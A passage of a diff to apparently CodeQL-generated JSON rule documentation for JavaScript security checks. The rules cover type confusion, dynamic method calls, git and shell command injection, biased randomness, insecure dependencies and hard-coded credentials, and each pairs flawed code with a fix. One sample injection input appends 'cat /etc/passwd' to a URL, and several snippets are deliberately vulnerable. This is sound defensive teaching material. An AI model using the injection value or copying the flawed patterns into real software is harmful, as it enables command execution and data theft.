string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n // GOOD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n" + }, + "properties" : { + "tags" : [ "security", "external/cwe/cwe-843" ], + "description" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type.", + "id" : "js/type-confusion-through-parameter-tampering", + "kind" : "path-problem", + "name" : "Type confusion through parameter tampering", + "precision" : "high", + "problem.severity" : "error", + "security-severity" : "9.8" + } + }, { + "id" : "js/unvalidated-dynamic-method-call", + "name" : "js/unvalidated-dynamic-method-call", + "shortDescription" : { + "text" : "Unvalidated dynamic method call" + }, + "fullDescription" : { + "text" : "Calling a method with a user-controlled name may dispatch to an unexpected target, which could cause an exception." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n const byte = crypto.randomBytes(1)[0];\n if (byte >= 250) {\n continue;\n }\n digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n", - "markdown" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n const byte = crypto.randomBytes(1)[0];\n if (byte >= 250) {\n continue;\n }\n digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n" + "text" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n let action = actions[req.params.action];\n // BAD: `action` may not be a function\n res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n // ...\n});\nactions.set(\"pause\", function pause(data) {\n // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.has(req.params.action)) {\n if (typeof actions.get(req.params.action) === 'function'){\n let action = actions.get(req.params.action);\n }\n // GOOD: `action` is either the `play` or the `pause` function from above\n res.end(action(req.params.payload));\n } else {\n res.end(\"Unsupported action.\");\n }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.hasOwnProperty(req.params.action)) {\n let action = actions[req.params.action];\n if (typeof action === 'function') {\n // GOOD: `action` is an own method of `actions`\n res.end(action(req.params.payload));\n return;\n }\n }\n res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n", + "markdown" : "# Unvalidated dynamic method call\nJavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack.\n\nFor example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime.\n\nAnother, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception.\n\n\n## Recommendation\nIt is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object.\n\nIf the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on.\n\n\n## Example\nIn the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n let action = actions[req.params.action];\n // BAD: `action` may not be a function\n res.end(action(req.params.payload));\n});\n\n```\nThe intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error.\n\nThe easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = new Map();\nactions.set(\"play\", function play(data) {\n // ...\n});\nactions.set(\"pause\", function pause(data) {\n // ...\n});\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.has(req.params.action)) {\n if (typeof actions.get(req.params.action) === 'function'){\n let action = actions.get(req.params.action);\n }\n // GOOD: `action` is either the `play` or the `pause` function from above\n res.end(action(req.params.payload));\n } else {\n res.end(\"Unsupported action.\");\n }\n});\n\n```\nIf `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\nvar actions = {\n play(data) {\n // ...\n },\n pause(data) {\n // ...\n }\n}\n\napp.get('/perform/:action/:payload', function(req, res) {\n if (actions.hasOwnProperty(req.params.action)) {\n let action = actions[req.params.action];\n if (typeof action === 'function') {\n // GOOD: `action` is an own method of `actions`\n res.end(action(req.params.payload));\n return;\n }\n }\n res.end(\"Unsupported action.\");\n});\n\n```\n\n## References\n* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service).\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map).\n* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype).\n* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-327" ], - "description" : "Some mathematical operations on random numbers can cause bias in\n the results and compromise security.", - "id" : "js/biased-cryptographic-random", - "kind" : "problem", - "name" : "Creating biased random numbers from a cryptographically secure source", + "tags" : [ "security", "external/cwe/cwe-754" ], + "description" : "Calling a method with a user-controlled name may dispatch to\n an unexpected target, which could cause an exception.", + "id" : "js/unvalidated-dynamic-method-call", + "kind" : "path-problem", + "name" : "Unvalidated dynamic method call", "precision" : "high", "problem.severity" : "warning", "security-severity" : "7.5" } }, { - "id" : "js/insecure-dependency", - "name" : "js/insecure-dependency", + "id" : "js/second-order-command-line-injection", + "name" : "js/second-order-command-line-injection", "shortDescription" : { - "text" : "Dependency download using unencrypted communication channel" + "text" : "Second order command injection" }, "fullDescription" : { - "text" : "Using unencrypted protocols to fetch dependencies can leave an application open to man-in-the-middle attacks." + "text" : "Using user-controlled data as arguments to some commands, such as git clone, can allow arbitrary commands to be executed." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n", - "markdown" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n \"name\": \"example-project\",\n \"dependencies\": {\n \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n \"lodash\": \"^4.0.0\"\n }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n" + "text" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n throw new Error(\"Invalid remote: \" + remote);\n }\n cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", + "markdown" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n const remote = req.query.remote;\n if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n throw new Error(\"Invalid remote: \" + remote);\n }\n cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-300", "external/cwe/cwe-319", "external/cwe/cwe-494", "external/cwe/cwe-829" ], - "description" : "Using unencrypted protocols to fetch dependencies can leave an application\n open to man-in-the-middle attacks.", - "id" : "js/insecure-dependency", - "kind" : "problem", - "name" : "Dependency download using unencrypted communication channel", + "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], + "description" : "Using user-controlled data as arguments to some commands, such as git clone,\n can allow arbitrary commands to be executed.", + "id" : "js/second-order-command-line-injection", + "kind" : "path-problem", + "name" : "Second order command injection", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "8.1" + "problem.severity" : "error", + "security-severity" : "7.0" } }, { - "id" : "js/hardcoded-credentials", - "name" : "js/hardcoded-credentials", + "id" : "js/shell-command-constructed-from-input", + "name" : "js/shell-command-constructed-from-input", "shortDescription" : { - "text" : "Hard-coded credentials" + "text" : "Unsafe shell command constructed from library input" }, "fullDescription" : { - "text" : "Hard-coding credentials in source code may enable an attacker to gain unauthorized access." + "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\nIf the credentials are a placeholder value, make sure the value is obviously a placeholder by using a name such as `\"SampleToken\"` or `\"MyPassword\"`.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and `password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n user: \"bob\",\n host: \"database.server.com\",\n database: \"mydb\",\n password: \"correct-horse-battery-staple\",\n port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n", - "markdown" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\nIf the credentials are a placeholder value, make sure the value is obviously a placeholder by using a name such as `\"SampleToken\"` or `\"MyPassword\"`.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and `password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n method:'GET',\n headers: headers\n })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n user: \"bob\",\n host: \"database.server.com\",\n database: \"mydb\",\n password: \"correct-horse-battery-staple\",\n port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n" + "text" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", + "markdown" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before 